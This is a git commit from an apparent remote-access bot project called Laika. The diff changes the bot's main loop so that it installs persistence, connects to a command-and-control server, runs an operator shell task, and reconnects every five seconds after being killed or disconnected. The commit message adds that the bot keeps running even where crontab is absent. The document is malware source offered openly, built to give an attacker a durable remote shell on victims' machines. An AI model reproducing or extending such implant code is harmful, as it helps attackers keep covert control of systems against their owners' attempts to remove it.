1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-11 18:30:08 +00:00

More resilient persistence

- bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed
- if crontab isn't installed the bot will still run
This commit is contained in:
2022-04-10 15:45:30 -05:00
parent bb6e489945
commit 59c01d422b
4 changed files with 34 additions and 43 deletions

View File

@@ -17,26 +17,39 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
}
int main(int argv, char *argc[]) {
struct sLaika_bot *bot = laikaB_newBot();
struct sLaika_bot *bot;
/* install persistence */
laikaB_tryPersist();
/* init task service */
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
#ifdef LAIKA_PERSISTENCE
do {
#endif
bot = laikaB_newBot();
/* connect to test CNC */
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
/* init task service */
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
/* while connection is still alive, poll bot */
while (laikaS_isAlive((&bot->peer->sock))) {
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
laikaT_pollTasks(&tService);
}
}
LAIKA_TRY
/* connect to test CNC */
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
/* while connection is still alive, poll bot */
while (laikaS_isAlive((&bot->peer->sock))) {
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
laikaT_pollTasks(&tService);
}
}
LAIKA_TRYEND
/* bot was killed or it threw an error */
laikaT_cleanTaskService(&tService);
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
sleep(5);
} while (1);
#endif
laikaB_freeBot(bot);
LAIKA_DEBUG("bot killed\n");
return 0;
}